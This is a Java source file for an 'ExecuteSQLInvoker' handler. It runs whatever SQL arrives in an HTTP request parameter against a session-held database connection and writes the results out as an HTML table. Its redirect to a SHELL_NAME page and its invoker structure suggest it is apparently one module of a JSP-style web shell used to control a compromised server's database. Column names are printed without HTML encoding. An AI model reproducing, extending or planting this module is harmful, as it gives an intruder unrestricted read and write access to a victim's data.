package com.truthbean.jeetb.utils.web.invoker;

import com.truthbean.jeetb.utils.web.*;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.PrintWriter;
import java.sql.ResultSet;
import java.sql.ResultSetMetaData;

public class ExecuteSQLInvoker extends DefaultInvoker {
    public void invoke(HttpServletRequest request, HttpServletResponse response, HttpSession session) throws Exception {
        try {
            PrintWriter out = response.getWriter();
            String sql = request.getParameter("sql");
            String db = request.getParameter("selectDb");
            Object dbo = session.getAttribute(DBO);
            if (!Utils.isEmpty(sql)) {
                if (dbo == null || !((DBOperator) dbo).isValid()) {
                    response.sendRedirect(SHELL_NAME + "?o=vConn");
                } else {
                    ins.get("dbc").invoke(request, response, session);
                    Object obj = ((DBOperator) dbo).execute(sql);
                    if (obj instanceof ResultSet) {
                        ResultSet rs = (ResultSet) obj;
                        ResultSetMetaData meta = rs.getMetaData();
                        int colCount = meta.getColumnCount();
                        out.println("<div style='padding:10px'><p><b>Query#0 : " + Utils.htmlEncode(sql) + "</b></p>");
                        out.println("<table border=\"0\" cellpadding=\"3\" cellspacing=\"0\"><tr class=\"head\">");
                        for (int i = 1; i <= colCount; i++) {
                            out.println("<td nowrap>" + meta.getColumnName(i) + "<br><span>" + meta.getColumnTypeName(i) + "</span></td>");
                        }
                        out.println("</tr>");
                        Table tb = new Table();
                        while (rs.next()) {
                            Row r = new Row();
                            for (int i = 1; i <= colCount; i++) {
                                r.addColumn(new Column(rs.getString(i)));
                            }
                            tb.addRow(r);
                        }
                        out.println(tb.toString());
                        out.println("</table></div>");
                        rs.close();
                        ((DBOperator) dbo).closeStmt();
                    } else {
                        out.println("<div style='margin:10px'><h2>affected rows : <b>" + obj + "</b></h2></div>");
                    }
                }
            } else {
                ins.get("dbc").invoke(request, response, session);
            }
        } catch (Exception e) {
            e.printStackTrace();
            throw e;
        }
    }
}